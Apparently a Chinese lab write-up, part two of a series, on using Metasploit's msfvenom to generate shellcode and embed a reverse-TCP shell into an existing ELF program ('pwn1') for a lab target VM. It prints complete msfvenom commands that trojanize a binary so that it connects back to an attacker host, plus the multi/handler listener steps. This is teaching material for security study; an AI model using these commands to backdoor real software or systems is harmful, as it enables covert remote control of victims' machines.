eclipse|使用MSF生成shellcode( 二 )



首先我们用到的第一个选项是-l , 查看所有msf可用的payload列表 。 里面有526种payload , 我们需要的payload功能是获取反弹连接shell 。
想要找到可用的payload首先要知道靶机的版本 。 在网上找方法查了一下 , 我开的另外一台kali靶机是64位 。 对应linux64位可用的payload有这些 。

根据这些payload的功能描述 , 找出我们需要的payload , 使用-p指定 。 给大家翻译了一下这些描述啥意思 , 如下:
- execute an arbitrary command    
执行一个任意命令
- Inject the mettle server payload(staged).Listen to a connection. 
注入mettle server payload , 监听等待一个连接 。
- Inject the mettle server payload(staged).Connect back to a connection. 
注入mettle server payload , 反弹连接一个连接 。
- run the meterpreter /Mettle server payload (stageless) 
运行meterpreter或者Mettle server payload
- spawn a command shell.Listen to a connection.   
产生一个shell , 等待连接 。
- spawn a command shell.Connect back to a connection. 
产生一个shell , 反弹连接一个连接 。
- Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
在一个随机端口监听一个连接 , 并产生一个shell 。
- Spawn a shell on an established connection在已经存在的连接上产生一个shell
- Connect back to attacker and spawn a command shell
反弹连接攻击者 , 并产生一个shell 。

很显然我们选择最后一个 , linux/x64/shell_reverse_tcp.
选定了payload , 我们需要给它写一些什么参数呢?用这个指令查看
msfvenom -p windows/meterpreter/reverse_tcp --payload-options


【eclipse|使用MSF生成shellcode】基础参数就两个LHOST和LPORT 。 跟在payloa后面设置一下就可以了 。
选好了payload , 接下来我们-f选payload的输出格式 。 用这个指令可以查看payload有哪些输出格式 。
msfvenom --help-formats


发现有很多:我们的目标是注入到pwn1里去 , 当然选择ELF格式了!
还可以用-e选择编码器和-i迭代编码的次数 。 用这个指令查看可用的编码方式 。
msfvenom -l encoders

但ELF文件的编码方式应该是机器无关的 , 不用选这个选项 。
最后呢 , 当然是要用-x参数指定我们的模板pwn1.payload(shellcode)就写入到pwn1这个可执行文件中 。
所以 , 最终我们的指令是
msfvenom -p linux/x64/shell\\_reverse\\_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf -o pwn2

然后把我们毒化的pwn2 , 复制到靶机里 。
打开攻击方的msfconsole , 加载exploit/multi/handler模块 , 设置参数 , 最后一个exploit指令!攻击!
但是一切似乎不如人意 , 我在靶机上运行了pwn2控制机没有任何反应……
然后又在网上找了这篇文章msfvenom生成各类Payload命令 , 里面说linux里指令要这样写
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

对比之后 , 我意识到 , 虽然linux系统是64位 , 但pwn1是个32位程序啊!所以还是用x86下面的payload 。